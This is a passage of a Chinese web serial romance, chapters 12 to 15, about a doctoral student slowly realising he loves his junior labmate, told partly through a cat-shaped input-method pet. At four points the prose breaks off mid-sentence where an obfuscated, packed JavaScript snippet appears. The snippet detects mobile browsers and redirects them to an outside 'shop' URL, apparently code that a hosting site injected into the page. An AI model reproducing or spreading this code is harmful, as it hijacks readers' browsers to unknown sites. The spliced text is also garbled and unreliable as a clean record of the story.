“没什么。”我随口道,“围巾挺好看的……有链接吗?” 眼下沈言仍然看起来跟我没什么话。但是和最开始那副不想理人的样子也不同——不知道是不是我的错觉,现在与其说是不想理我,更像是像躲着我。 可是问他,他又不说。我决定先从我精挑细选的、无论如何不会出错的话题上,找点话说。 上周他说这几只猫打了外驱,暂时先不要摸它们。我问他:“现在猫能摸了吗?” “可以……不行!” 他不知道想到了什么,声音忽然高了一点,猛地转过头来盯着我:“你……别乱摸。” 沈言很少有这样慌乱的样子,我不太明白:“但是你之前不是说……” “都不算数了。”他声音又压低了,睫毛一颤一颤的,“总之猫不要乱摸。” “……好。” 他侧过脸,也没看我,目光落在一边的花坛上:“你保证?” “我保证。” 不知道沈言怎么会这么在意这件事,我跟他重复一遍:“我保证,不乱摸。” 小猫之神今天仍旧选了最高的地方当神座,旁边的开小花、叶片是卵形的小植物我认识,也是之前沈言告诉我的,叫繁缕。 我总觉得今天小猫之神的目光跟以往的不屑似乎不甚一样。歪着头,似乎不太理解的样子。 “我没见过这个品种,”我换了另一个应该也不会出错的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154798|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题,“你有见过吗?” 偏着头和黄色小猫对视片刻,沈言摇摇头:“我也没见过,但是我看到有人发的视频,和它有一点像。我之前收藏了。” 沈言说话的时候就顺手点开自己的收藏夹,我刚靠近一点,却忽然见他猛地息屏。 “……怎么了?” “没什么。” 他没看我,自己摇摇头:“想起来一件事……对,师兄,我先回去了,下次再给你看。” ……收藏夹里面有什么我不能看的东西吗? * 晚上九点的时候,做了五分钟的心理准备,又眼一闭心一横,我点开了申报书接着写。 把一段话写了三遍又删了三遍进行无意义的语言打磨之后,我开始忍无可忍地胡言乱语。 一起噼里啪啦地敲了十分钟键盘,外面不能说的话对着神似师弟的小狸花说了个遍,我吐出一口气,靠在椅子上,看着刚才敲下来的一长串胡言乱语发呆。 虽然早就知道象牙塔不是象牙塔、虽然我还总是愿意相信每一条路都能走通,但偶尔也还是会有点疲惫。 比如现在。 申报书没有意义,我做的很多事情也不知道到底有没有意义,也许其实一意孤行到头也并没有什么意义。 但是不知道怎么回事,来回几遍,没有意义几个字总也在屏幕上留不下来。 我的键盘失灵了吗? 仔细检查一遍,好像按键也都正常,抬头的时候,正好对上小狸花的眼睛。 怎么看起来越来越熟悉了呢。 我这个小狸花一直都是面无表情的,蹲在那里能不动就不动,很多时候打字时还有一种我在绑架它的感觉,我第一次见它自己主动站起来,不知道在盯着什么地方看。 我刚才应该是什么都没点的吧? 那排图标里面有个粉色小花的标志,忽然自己亮了一下,我吓了一跳。 不知道是不是我刚才误触到哪里了,但是我还记得昨天使用逗猫棒之后它那个炸毛的样子。 手忙脚乱地试图撤回的时候,屏幕右下角忽然凭空跳出来一盆粉色小花,线条相当简约,一团粉色云朵一样,摇摇晃晃的。 谨慎观察三秒钟,小狸花这次倒是没有炸毛。 对于忽然出现的花盆,一向高冷的小狸花似乎也有点疑惑,凑近一点,鼻尖碰上花瓣的时候往后一缩,观察一下,又绕到花盆后面。 被花盆挡住了,我只能看见花瓣轻轻晃动,似乎是它在后面闻来闻去的。 我也没敢动,看着它上下左右观察一遍,片刻之后犹豫着往前推了推。眨着眼睛,偏着头看我,尾巴在身后左右一甩一甩的,不太熟练。 ——虽然这么说好像很奇怪,但是看起来,好像是在送我这盆小粉花一样。 “你知道我不高兴吗?” 跟它对视片刻,我还是没忍住笑了。 “哄我吗?” 摇摇头,我把刚才那些胡言乱语都慢慢删掉。 “没关系的,有没有意义都会做下去的。” 还剩两分钟,改了个小标题,我发觉还有另外一件很要紧的事没唠叨。 【师弟这几天怎么总是躲着我?】 敲完这行再抬头,小狸花又变成高冷小猫了。 好吧。 12. 12 出差一个月,老程从巴塞罗那荣归工位,看起来学术social颇有成效。 他果然放下来手里那一堆东西就喜气洋洋地宣布:“暂时不用走穴养你们。” 苏睿正在忙着分那一堆纪念品,没抬头:“老师,您走穴其实也不一定就真能赚到什么钱。咱还是别干这个了。” “……” “这是师姐的杯子,我给她拍个照片……这是我的?这什么味的茶,洋甘菊蜂蜜吗……师兄,这个是你的。” 苏睿递给我个盒子,我看一眼,转头看老程:“给我带咖啡豆什么意思?” 老头咳嗽两声,苏睿帮忙翻译:“师兄,是让你在凌晨四点也要为师门发光发热的意思。” “……谢谢啊。” “这个是师弟的……师兄,你先给他拿着?” “你放他工位不就行了,”苏睿顺手就递过来个陶瓷小雕像,我没接,“给我干什么?” 苏睿眨眨眼睛:“师弟今天不是说不来实验室吗,我想着你俩反正天天碰面,你直接带给他算了。” 说得好夸张,我哪里就和沈言天天碰面了。 ——尤其是这几天。感觉他走路都有点想躲着我。我倒是想跟他天天碰面。 “真的吗?” 但是老程好像听进去了,从屏幕后面忽然抬头盯着我看:“知行,对小师弟很上心啊。” 眼镜片一闪,反射出的光芒莫名有几分诡异。 苏睿正翻来覆去研究自己的花草茶,听到这里忽然笑出来,见其他人看她,就指指手里面的东西:“这茶包……嗯,长得怪好玩的。对,怪好玩的。” 老程又转过头来看我。 不知道在心虚什么,但是我忽然有点没来由的心虚,尽量若无其事地避开对面探究的目光。 “也不……” “非常好啊!” 老程打断我,笑得无比开朗:“怎么样,师弟在你手底下一定进步很大吧?” “……” “我就知道,你当时只是嘴上那么说说。”老程眉开眼笑,“知行,把事情交给你,我一直都很放心啊。非常好,非常好啊!” 实验室里面安静得出奇。半分钟之后,苏睿坐在一旁忽然又笑了。 笑声压得很低,像是在忍笑但又没忍住,低着头,指尖在手机屏幕上敲得飞快。 老程好奇:“苏睿,你又笑什么?” 其实我也有点好奇,但我直觉最好别问她。 苏睿摇摇头,按了手机息屏,眼神飘忽一下:“这茶包长得怪好玩的……我给师姐多拍两张。” 老程第二天下午终于见到了他心心念念的崭新的小弟子。 沈言进会议室的时候似乎犹豫了一下,才跟平常组会一样,把电脑放到我旁边坐下来。 我觉得他可能是头一次见到老程实物,有点紧张。 “不用紧张,”我压低声音跟他讲,“程老师在这儿也没什么,汇报时候跟平常一样就行了。” 沈言没说什么,只是点点头。 还是那个跟我不想多说话的样子。 但是好像只是不想理我,跟苏睿她们说话跟平常一样,汇报的时候也没什么问题,老程指导之余大为赞赏,赞赏完了师弟又来赞赏我。 “知行,把师弟指导得很好啊!” 我没说话,苏睿替我领赏。 “是。”她点出来自己的幻灯片,抽空插了一句,“师兄的确很上心啊。” 沈言本来就对老程的热情似乎有点不太习惯,听了这话眼睛又很快地眨两下:“师兄师姐们……都给了很多帮助。” 看起来非常其乐融融的一个师门。虽然好像有点怪,但不知道是哪里怪。 ——可能是因为师弟今天和我说话又变少了。 【师弟今天明明平均跟别人说了3.1415926535句话。】 小狸花其实一直是一个表情的,晚上胡言乱语的时候,我总觉得从它脸上品出来了一点疑惑。 揣摩半分钟,又看一眼刚才敲下来的东西,我忽然发现了真相。 字体不对! 把数字改成Times New Roman,看起来顺眼多了。 小猫能发现字体不对。好小猫,好小猫。 总之我接着胡言乱语。 【但是怎么跟我就说了2.13句话?】 我是真觉得沈言最近对我的态度怪怪的,说不上来,时而躲着我,时而又跟平常一样,时而又像昨天晚上那样一下子生气了,整个人若即若离的。 难道真是他自己说的那样,期末周,脾气就会有点怪? 跟小狸花面面相觑,除了它的眼睛跟师弟真的好像之外,我还是得不出来什么其他结论。 不是突然讨厌我,也不是学术压力太大,那也许真的就是这样? 沈言课表我都记下来了,还剩下三门要考,都是这周和下周。翻来覆去又想一遍,我猜测也许真的是我有点打扰到他了。 深刻反思了两分钟,我决定这两周少出现在师弟面前,最好干脆就不出现在他面前。 有什么话先跟电子小狸花讲好了。 * 但是第二天我又出现在沈言面前了。 何俊左右来回看看:“学长,沈言,你俩认识?” 晚上是校排球赛决赛,之前本科的时候我在学院排球队待过。现在体育部的部长何俊是当时的队员,跟往年一样留了票叫我来看。 跟沈言面面相觑的时候,我才隐约想起来,当时那个必吃榜论坛里面似乎提过一嘴,沈言以前好像是学院排球队的副攻。 之前有两三次,何俊叫我来,我忙别的没来。算一下,沈言在场上的那段时间应该正好赶上我忙着转博的事。 沈言错开目光,点点头。我和何俊解释:“是认识……沈言现在是在我们课题组。” “这么巧?” 何俊恍然大悟:“那你俩就坐一块算了——快上场了,我去看看他们。” 说完了转身就跑,没给我留一点反驳的余地。我看看沈言,犹豫一下,还是问他:“要不……我换个地方坐?” 师弟期末周好不容易想自己放松一下,师兄居然还如此不懂事地来碍眼。 他已经把自己书包放下来了,闻言有点疑惑地看我:“怎么了?” “……不怎么。你没意见就行。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154799|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 场上有点吵,沈言坐在我旁边,声音淹在嘈杂人声里面,不太分明。 “师兄?” “嗯?” “师兄之前也是在这里吗?” “是。”我尽可能地压缩字数,“本科的时候。之后读研有点忙。” 其实很想让师弟知道多一点当时的事情——毕竟这听起来我还是有点厉害的样子。但是眼下这个情况,我不敢多说话。 沈言点点头,说完这些就又不说话了。场上裁判吹了哨,大屏上面的分数时不时跳一下。 体育馆里面闹哄哄的,从观众反应来看似乎挺精彩,但其实我没怎么看进去,。 沈言一直一动不动地盯着场上,两手支着下巴,好像看得很认真。 ——说是“好像”,因为他在某个非常胶着的点上,忽然来叫我。 “师兄,” 我愣一下才反应过来,转头看他,见他眼睛垂下去,片刻之后才又抬起来,似乎下了什么决心:“我问你个事。” “什么?” “你一般……一般什么情况下,会更关注一个人?” 很关注一个人? 我没想到是这个问题,在欢呼声里面试图回想,但是没回想起来什么典型案例——记忆里面没怎么特别关注过一个人。 ……好像沈言是第一个。但是我也说不上来为什么关住他,因为他很好看、跟我的想法很像、是一个很有意思的人吗? 视线一垂就正好对上他的眼睛,粼粼的、安静的水面,隔开周围嘈杂的一弯湖泊。 距离有点近,我下意识地转了目光,按下去脑海里面漂浮无名的思绪,努力集中注意力想他的问题。 “很关注一个人……嗯,看这个人不顺眼的时候?” 沈言肯定是个例外,不能用个例代表整体,这不符合统计学的基本原理。我不太能想象出来我像关注沈言一样关注其他人。 倒是有一些很看不惯的人,偶尔睡不着的时候会想起来这些人匪夷所思的言行举止。我觉得这个答案更具有普遍性。 “不顺眼?” 不知道是不是我看错了,沈言眼底闪过去一瞬的不可置信。 没想到看起来他很沉稳可靠的师兄会有这样的想法吗? 但是说都说了,我也只能顺着往下讲。 “是……我看一个人很不顺眼的时候。”我又补充一句,“很不顺眼才会,一般不这样的。” “……有多不顺眼,”沈言看我一眼,眼神意味不明,“不顺眼到想打一架吗?” 虽然当前好像还没有出现过这种人,但是能不顺眼到让我特别关注的程度,我觉得他这个描述也对:“也差不多?” 沈言沉默了几分钟,按着自己眉心,似乎在叹气,自己不知道在嘀咕什么,忽然很轻地笑出来。 “怎么了?” “……不怎么。” 我觉得肯定有什么问题,盯着他审视,试图从他没什么波澜的脸上看出问题所在。 他被我这样看着,也不叹气了,再开口的时候似笑非笑:“师兄,我是黑带。” “……?” “没什么。就是再告诉你一下。” 13. 13 可喜可贺,历时一周半,我终于逃出了申报书的魔爪。 本来今天晚上的计划是完全不打开电脑的。 但是到了每天跟小狸花唠叨的时间点,这个电脑不知为何,就又莫名其妙地就自己打开了。 今天没有别的东西要写,在想的事情也不知道如何说,面面相觑三分钟,小狸花不看我了,低头看看自己键盘。 ——我似乎真的格外关注沈言。 沈言昨天那样问我之前,我从来没有正经想过这个问题。 ——我好像是比其他人都更关注他。从来没有像这样,因为一个人和我多说一句话或者少说一句话就辗转反侧、心慌意乱。 所以这是为什么呢。 键盘无论如何都按不下去,我决定想清楚一点再来跟小狸花说话。 根据经验,技术路线图有助于捋清课题思路。但这次很奇怪,两张草稿纸翻过去越画越乱,翻到第三页,我连笔都落不下去了。 头一次遇到这种情况。 乱糟糟的,说不清道不明的思绪盘根错节,和刚才修不明白的假毛一样,绕来绕去地缠在一起。 不知道原因,找不到目的,对着空白的草稿纸愣了半天,我才发现自己的思绪不知道什么时候拐到湖水粼粼的眼睛上了。 一开始的时候好像是没有温度的,时间久一点,里面原来也会有各种情绪,高兴的、惊讶的、生气的、认真的、执着的,五颜六色的霓虹灯光一样,不言不语地落在新雪融化的一弯清亮湖水里面。 湖水里面照出来好多东西。小猫毛茸茸的耳朵,花瓣细细的细风轮草,图书馆落满阳光的书架,透亮的桂花蜜。 我欣赏沈言,毋庸置疑。他是一个很出色的人,沉静、勤奋,能力很强,很清楚自己要干什么,似乎从来不会被外界打扰。 但是真的仅仅是这样吗? 我应该也是欣赏过其他人的。段玉清是我见过科研能力最强的学姐,苏睿的社交能力完全是恐怖级别,何俊的二传水平我跟很多人都提过。 但是我绝对不会因为输入法里面的小狸花像上面的某个人,就把这种花里胡哨的东西留在自己电脑里面。 绝对不会。 在文档里面列出来以上所有已知事实,好像有什么东西隐隐约约连在一起,但又看不分明,得不出来任何清晰的推论。 这到底算什么? 不知道是不是今天打的字太多了,抬头看屏幕的时候,我总觉得通常一个表情的小狸花在瞪我。 是在瞪我吗? 我仔细观察,看着它来回转了两圈,又自己在键盘旁边趴下来了,缩成一团黄色的毛球一动不动,只有耳朵尖偶尔动一下,莫名很疲惫的样子。 ……一个输入法而已,不会还接了什么大模型吧? 其实那排图标里面有个疑似抚摸的图标,但是想起来跟沈言保证过不会乱摸任何一只猫,犹豫了三遍,我还是没敢真点。 九点钟在桌子旁没有想清楚。十点钟在沙发上没有想清楚。十一点钟拉上窗帘,还是没有想清楚。 整整一晚上都没有想清楚。但是和想不清楚申报书的写法不一样,来回思索这件事似乎并不会让人觉得烦躁。 辗转思量里面没有令人心烦的糟心事。只有安安静静的一弯湖水,照着月色迤逦荡开,周围草木高低错落,颜色纷杂。 窗帘随手拉上的时候好像没拉严实,关了灯,我觉出来点不寻常。 时间很晚了,窗户上面结了一层霜。擦开一片看,外面果然是飞雪细细,柳絮一样散漫交错,在路灯下面打着转。 似乎是今年的第一场雪。 * 早上的时候雪还在下,星星点点的,树枝上已经留了一层积雪,日光里面全是清寒气。 进实验室的时候还很早,我看见工位上没其他人。沈言似乎也刚从外面进来,发梢上还有雪粒没掸干净,小银珠一样。 还不到八点。我想起来这人一些不太良好的习性,问他:“吃饭了吗?” 仍然面无波澜,但是目光一移我就知道答案了,大衣脱了一半又穿回去:“我正好要出去买东西。给你带什么吗?” “你去哪里买?” “都可以,”我把电脑包放到工位上,开始胡编乱造,“我要买的东西……嗯,有点多。你想要什么?” 沈言不说话了,又盯着我看,也没说到底要给他带什么,只是绕到我工位这边。 从进来我就看见他手里有个袋子,这会儿却是往我手里面递。 “给我的?” 见他点点头,接过来看时,手提袋里面是个盒子,印着暗花。我又看看他:“这是什么?” 沈言没回答,只是说:“你看看?” 盒子里面是条深蓝色的围巾,挺好看的。我愣了一下:“怎么想起来送我这个?” 沈言想了想:“提前祝你生日快乐?” 现在是十二月初。我算一下:“好像还有十一个月?” 沈言沉默几秒钟:“那祝你上一次生日快乐?” “……嗯。” 我正在思考,沈言在旁边等了片刻,再开口的时候声音忽然低了一点:“你不喜欢?” “不是。” 我立刻跟他解释:“喜欢,我肯定喜欢——就是有点,嗯,没反应过来。” 他很怀疑地盯着我:“真的?” “真的。” 我不知道怎么和他解释:“真的喜欢——刚才就是没反应过来。没想到……” “好了。” 沈言摇摇头,笑了:“我知道了,师兄。” 总觉得他今天跟前几天的态度明显不太一样,也不躲着我了。是因为昨天终于考完试了吗? 之前好像有几次,他问我看他做什么。现在被他这样盯着,又换成我不自在了,低头装作找手机:“想好了吗,要我给你带什么?” 沈言看着我,不知道在想什么,停了片刻眼睛慢慢眨一下:“我跟你一起去吧。我现在也没什么别的事要做。” 他从衣架上面拿下来自己的围巾的时候,我才发现除了颜色不一样,其他的都和刚才他给我的那条一模一样。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154800|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了一下,我才想起来前几天顺口胡诌的时候,说他围巾好看能不能给个链接。 记得这么清楚吗? 下意识地往他的位置看过去,正好碰见他的余光也在看我这边。似乎发现我在看他,沈言又很快地收回去目光,低头理自己的围巾。 外面的雪不知道什么时候停了,空气很清冽。地温还有点高,路上没有积起来雪,但是落了一层厚厚的松针。 沈言路过的时候,看了一眼,观察的时候两手插在兜里,很一本正经的样子。 然后踩了上去,在松针上面表情严肃地来回踩。 我在他后面跟着悄悄试了一下,踩上去的确很软。 监督沈言买了吉士蛋和热豆浆,再回到实验楼门口的时候,沈言提着纸袋,忽然转头看我。 “怎么了?” “师兄,”他偏着头,眼睛莫名像是在笑,“你不是说你有好多东西要买吗?” 他看看我空着的手:“你买什么了?” “……我自有安排。” * 【师弟今天和我说的话同比上周涨幅132.6%。】 我跟小狸花汇报此等好消息。 爪子按在键盘上,它目光挑起来看我一眼,似乎不是很想跟我说话。 昨天我尝试了一下小饼干图标,这次小狸花虽然吃得面无表情,但是没有炸毛,看来可以多点几下。 为表庆祝,我今天也给小狸花投喂草莓夹心小饼干。又和上次一样,抱着小饼干转过去,背对着我自己偷偷吃,只能看见脑袋一动一动的,尾巴拖在身后,偶尔甩一下。 连都爱吃小饼干这一点都这么像吗。 小猫忙着吃饼干,又和之前的很多时候一样,一旦闲下来一时片刻,那些说不清道不明的心绪就又丝丝缕缕地缠上来了。 ——我到底为什么这么关注沈言呢。 我还是不知道如何解释我的这些心绪,翻出来昨天的草稿纸,顺着上次的思路接着往下想。 因为他是我的同门、因为我欣赏他的能力吗? 似乎不止是这样。 不单单是同门情谊。我跟苏睿她们也是很熟悉、很亲近,但我绝对不会因为谁今天和我多说一句话、少说一句话就苦恼或是高兴。 这听起来是很浪费时间的事情。 也不单单是欣赏。已知何俊等人同样有很多值得欣赏的优点,但我也绝对不会像这样,眼前时时刻刻都冒出来他们的影子。 ——这些人跟我的关系很好定义,就是朋友。沈言也一样是朋友吗? 显然不是。 在纸上划拉几个箭头,手里面的笔又停住了。 不会对着月亮里面的湖水想起来别人的眼睛,也不会想和别人说那些奇奇怪怪的话。 ——朋友之上又是什么呢? 周围安安静静的,只有窗外隐隐约约的风声。笔尖顿了一下,而后忽然吧嗒一声落在桌子上了。 从未想过的念头忽然冒出来的一瞬间,我愣了很久才回过来神。 ——如果我是喜欢他呢。 14. 14 在工位上面放下来东西,开电脑的时候,我总觉得老程在看我:“怎么了?” 老程若有所思:“知行,我觉得你好像跟平时不太一样。” “……我哪不一样了?” 苏睿端了杯子准备到茶水间接水,瞟了一眼,又瞟了一眼,忽然语出惊人:“你要出去约会啊?” 我很震撼:“我跟谁约会?” 老程也很震撼:“他跟谁约会?” 沈言也抬起来头了,没说话,但是眼神有点询问。 ——师弟今天看起来也一样好看。还是比昨天看起来更好看?不知道,没敢一直盯着看。 “不约会?不约会你穿成这样,”苏睿拆了个茶包,“跟那网上的穿搭分享一样。” “……” 我没说话,只是冷笑,像平常给她改论文改代码的时候一样冷笑,试图用冷笑掩饰内心的慌乱。 ——还真是我连夜从网上现学的,找出来买回来不太常穿的衣服。 经过半宿严密谨慎的分析论证,我不得不在半夜三点半的窗户前面承认,我真的是喜欢沈言。 外面的灯光已经渐次睡着了,整个城市都沉在安静的梦里面,只有远处几点亮光在夜色里漂浮,隐约能看见窗台上面落的雪还没有融化干净。 没有开窗户,但彻底想通的那一瞬间,好像清冽寒气霎时都扑面过来,一团乱麻的心绪全都清清楚楚地归位了。 恍然大悟的、喜不自胜的、发现早该如此的。 总而言之,我现在跟以前不一样了。我有喜欢的人,应该采取一些必要的举措,比如首先要进行适当的形象管理。 之前没太关注这方面,又是连夜速成,我第一次对自己的学习成果不是非常自信,冷笑的间隙,悄悄观察沈言的表情。 ……好吧。原来根本没有在看我,大概又在阅读不知道哪一篇幸运文献。 苏睿端着杯子出去了,老程还在打量我。我跟他解释:“我真没有要出去约会。” 其实也不是说给他听的。 “嗯?……哦。” 他点点头:“行……行,没关系。” 看看我,他又接着道:“知行,其实……嗯,手上的论文项目什么的,稍微放一放,也是可以的。做点自己的事,可以的,没关系。” “……” 悄悄瞥一眼,沈言好像仍然没有在看我,盯着电脑屏幕,不知道在很严肃地思考什么。 * 追求别人是一门高深的学问。 第一步是要进行适当的形象管理,爱美之心人皆有之。 第二步是要主动创造相处空间,等着对方主动是不可能有故事的,即便对方可能也有点喜欢你。 以上内容来源于对网上近五年相关研究现状的总结,我觉得还是有一定道理的。 当然了,“即便对方可能也有点喜欢你”这句是我自己加的。 半宿里面我把之前的事情翻出来一件一件来回想了很多遍,除了得出“我好像真的喜欢沈言”这个核心结论之外,也有一点别的发现。 沈言对我和对别人,似乎也不太一样。有些话、有些事、有些微妙的情绪波动,好像只有我知道。 做学术就是要重视每一个发现。 总之在六点钟快要下课的时候,我给沈言发了消息,问他有没有带伞。 天气预报又不太准,说是多云,但是外面从五点的时候就开始飘雪花,现在看起来落得更急了一些。老程在台上念他的PPT,我坐在第一排当他的助教,沈言在隔壁教室上他的专业课。 停了两分钟才回我消息,没说自己有没有带,只是问我有没有伞。 想了想,我跟他说:“带了。” 而后就跳出来了我不想看到的回复。 [沈言(*^▽^*)]:那就行,我也带了。 我看了一眼讲台上讲得全心投入的老程。 [PZX]:程老师没带,我把我的伞给他了。 “对面正在输入中”了好几次,才终于跳出来条消息。 [沈言(*^▽^*)]:那等会儿下课了师兄来找我,我把我的伞给你。我和别人一起回宿舍楼。 他和别人一起回去了,那我等了一周才终于收货的标本集第二卷给谁? [PZX]:我要去实验楼,跟你也顺路。 下课的时候教学楼里面总是会人很多,但是人群里面还是一眼就可以看见沈言。 没办法,师弟就是如此引人注目。 “师兄?” 他站在教学楼门口,看见我就招招手。 “程老师呢?” “回去了。有什么事找他吗?” “没什么。” 一把一把颜色各异的伞撑起来,森林里面忽然冒出来很多蘑菇一样。他摇摇头,站在台阶上也撑起来自己的伞。淡淡的米黄色,落着金色的银杏叶图案。 低头撑伞的时候,侧脸被灯光照得分明,睫毛上落了雪粒。 米黄色的蘑菇也在我旁边长出来了,握着伞柄的手指节分明。他侧过头看我一眼:“走吧?” “……好。” 众所周知,两个人打一把伞的时候,个子更高的人举着伞是一项基本定理。我换了只手提电脑包:“我拿着吧?” 沈言思考一下,遵循此项定理,把伞递给我。 “师兄,”他看我一眼,似乎犹豫一下,“你今天哪里也没有去吗?” “嗯?” 我没太明白:“我去哪里?” 目光挑起来看我——很熟悉的方式:“那你怎么……跟之前穿得,不太一样?” 下意识把伞柄握得紧了一点,我装作随口说话的语气:“有时候……也是会心血来潮的。” 我又怕他问我为什么,又想他问我为什么。 盯着我看了几秒钟,他到底是没问。 ——因为旁边店里面的蛋烘糕出炉了,成功吸引了一些人的注意力。 五分钟过去,我和他手里面都多了热气腾腾的小点心。沈言的是抹茶红豆的,我的是海苔肉松的。 “咸的好吃吗?” 他偏着头观察了半分钟,似乎对我手里的东西持相当怀疑的态度。 “其实还是可以的” 我觉得有必要为海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154801|196536||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苔肉松正名:“你要尝尝吗?——我还没动。” 伞不太大,并肩走路的时候,就要比平常离得近一点。这种距离里面,我隐约能闻到他身上一点若有似无的香味。 不知道是洗衣液还是沐浴露的味道,清清淡淡的,夹在风雪里面似乎又是柔软的,跟他这个人一样。 之前没闻到过哪个牌子是这个味道。 晚上的时候,我自己坐在地毯上想了想,还是没想起来。落地窗外面灯火连绵,我又揣摩一遍柔软的、清香的风雪。一把伞那么大的风雪。 喜欢一个人是一件很好的事情。 喜欢一个人,就会总想起来他。桌前等下、阶上床边,总会想起来他。 而沈言是一个很好的人。想起来他,我就会一并也想起来很多别的东西,有时候是清亮的月光湖水,有时候是干净漂亮的词句,有时候是小猫毛茸茸的尾巴,有时候又是桂花蜜、小饼干和紫薯蛋皮酥。 很多很多,数不清的会让人心里面软下去一点的东西。 会晚上睡不着,会写论文写到一半跑两分钟的神,但总体而言,喜欢一个很好的人,实在是一件很幸福的事情。 * 冬天是非常好的季节,因为冬天可以每天都戴围巾。 从实验室回家的时候是晚上七点,上一次开直播还是在上次。我觉得我还是应该偶尔出现一下,证明博主没有因为学术不端被抓起来。 弹幕往上顶得很快,没仔细看,调角度的间隙扫到一条夸我今日穿搭的评论。 [怎么感觉主播最近衣品变好了,以前全靠这张脸硬顶啊。] 看来最近的一些探索还是颇有成效的。但我觉得我以前应该也没那么离谱,弹幕不可尽信。 看一眼屏幕,我看见沈言的消息弹出来,好像是个什么文件,两秒钟之后,又被他自己撤回了。 [PZX]:怎么了? [沈言(*^▽^*)]:没什么,发现还有个问题没改。师兄你先忙,等一会儿我再给你发。 回了消息,放下手机再抬头的时候,我久违地见到了熟悉的ID。 一个月都没有发过评论的黄色狸花猫刚刚进入了直播间,看起来今天这位小猫朋友不用开组会。 “看起来怎么这么高兴?有吗,我看起来很高兴吗?……我们这里很冷吗?没那么冷啊,房间里面也不冷……在房间里面也要带围巾吗?” 我低头,对着自己柔软的、熨帖的、还带着清香的、完美的、舍不得摘下来的深蓝色围巾思考了一下。 “是的,你怎么知道我的围巾很好看?” 火眼金睛。 总算把角度调到最满意的位置,我再看屏幕的时候,看见弹幕忽然变整齐了,一排一排的省略号刷出来。 不解何意,只能回答我看见的问题。 “什么新款,我不知道啊,不关注这些。我师弟送我的。” 虽然没人问我,但是想了想,我还是觉得应该稍微补充一句前情提要:“哪个师弟?上次送我完美树枝的师弟。我就这么一个师弟。” 我不明白为何省略号如同入侵物种一样入侵了弹幕。 15. 15 早上一起排队买热可可的时候,沈言排在我前面,一直低着头不说话。 “没睡好吗?” “不是。” 沈言摇摇头,点了几下手机,把屏幕转过来给我看。 开口的时候语气很冷酷:“你看这个。” 是个视频,灰色小猫眼睛圆圆的,脖子上面围着花边,边沿缀着绿色和白色的小毛球,还有个红色小蝴蝶结,橘色灯光里面蹲在圣诞树底下的一堆亮闪闪礼盒中间,非常圣诞节氛围感。 “链接能发我吗?” 我觉得这是很好的小猫穿搭。前两天我才发现那个那一排小图标里面,柜子一样的图标原来是衣柜。 打开小猫衣柜的一瞬间,我又打开了另一扇新世界的大门。 选的第一件小猫衣服是深棕色的条纹毛衣,和师弟这几天穿的那件毛衣开衫很像,还有一样颜色的围巾。 小狸花总是面无表情,穿上衣服也看不出来是乐意还是不乐意。 我接着往下翻。 不知道到底是从哪一步开始,我的搭配风格开始变得奇怪的——也许是从某个蝴蝶结领子,也许是从某件垂着兔子耳朵的连帽衫。 连换十件,在十个风格的师弟——我是说猫,小狸花猫——十个风格的的小猫里面,我最喜欢的还是那件小披风。 ——一直没敢说,其实总感觉师弟这张脸,很适合来跟我一起当剑修当法师当皇帝。 小披风边缘一团团绣着深蓝色的云纹,领口毛领上缀着璎珞,飘带垂下来拖在键盘上。 这次换上去,小狸花自己低头看看,抬头的时候偏着头,似乎很疑惑。 总之这两天除了人类穿搭,我也有点沉迷小猫穿搭。视频里面的圣诞小猫看起来穿得蛮漂亮,我觉得可以借鉴给我的小狸花猫。 “……发你链接?” “对,”我评价,“挺可爱,挺喜欢的。” “没问你喜不喜欢!”沈言不知为何有点像在瞪我,目光闪烁一下,又指着屏幕,“是在给你展示,这是非常……嗯,非常不好的行为。” 我不太明白:“是这样吗?” 以前我好像见到别人说不要给小猫小狗穿鞋子或者太累赘的衣服,会影响它们走路。但是这个好像只是个花边领子,这也不行吗? “猫不喜欢?” 我揣摩一下,觉得视频里面这只英短看起来,似乎并无什么抗拒之意,甚至还有点乐在其中。 “反正……对,有些猫不喜欢。” 沈言拿回去手机,盯着我重复一遍:“这是人类非常不好的行为!” 